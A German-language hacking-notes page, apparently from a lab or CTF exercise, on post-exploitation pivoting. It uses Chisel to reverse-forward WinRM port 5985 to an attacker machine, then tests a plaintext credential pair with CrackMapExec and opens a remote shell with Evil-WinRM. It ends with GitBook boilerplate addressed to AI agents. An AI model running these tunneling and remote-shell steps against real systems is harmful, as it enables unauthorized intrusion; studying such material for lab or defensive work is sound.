> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/post-exploitation/pivoting-port-forwarding-5985-winrm.md).

# Pivoting-Portweiterleitung (5985 WinRM)

## Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Herunterladen und Vorbereiten der Dateien:**/ Wir haben die komprimierten heruntergeladen **Chisel** Dateien, nämlich:

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Nach dem Entpacken der Dateien übertragen Sie die **Chisel** Binärdatei auf das Windows-Ziel:

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/90d51a7f50506d40c9e02ae27a9cce763850c92c" alt=""><figcaption></figcaption></figure>

**Auf der angreifenden Maschine mit Chisel lauschen:**/ Starten **Chisel** im Servermodus auf der angreifenden Maschine auf Port 8888:

```bash
./chisel-linux server -p 8888 -reverse
```

Dann führen Sie auf der Windows-Maschine **Chisel** im Client-Modus aus und leiten Sie Port 5985 zurück an die angreifende Maschine weiter:

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/570dbc820aa35aeea368a8f823cf92e46bc3245f" alt=""><figcaption></figcaption></figure>

**Überprüfen der Portweiterleitung mit `lsof`:**/ Wir haben bereits überprüft, dass Port 5985 nach der Weiterleitung mit dem Befehl korrekt angezeigt wird:

<figure><img src="/files/677a9cd9e73a9e1ba04b9be4eea423e00d926755" alt=""><figcaption></figcaption></figure>

**Verbindung mit WinRM:**/ Wir haben nun **CrackMapExec** verwendet, um die Verbindung über **WinRM** auf den weitergeleiteten Port 5985 zu testen:

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* Das **gehackt** der Marker bestätigt, dass die Anmeldedaten über WinRM auf die Maschine zugreifen können.

<figure><img src="/files/8e495c295fe15b5f911aea5304b47d389516c03e" alt=""><figcaption></figcaption></figure>

**Abschließende Verbindung mit Evil-WinRM:**/ Schließlich haben wir **Evil-WinRM** verwendet, um eine Remote-Shell als **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/post-exploitation/pivoting-port-forwarding-5985-winrm.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
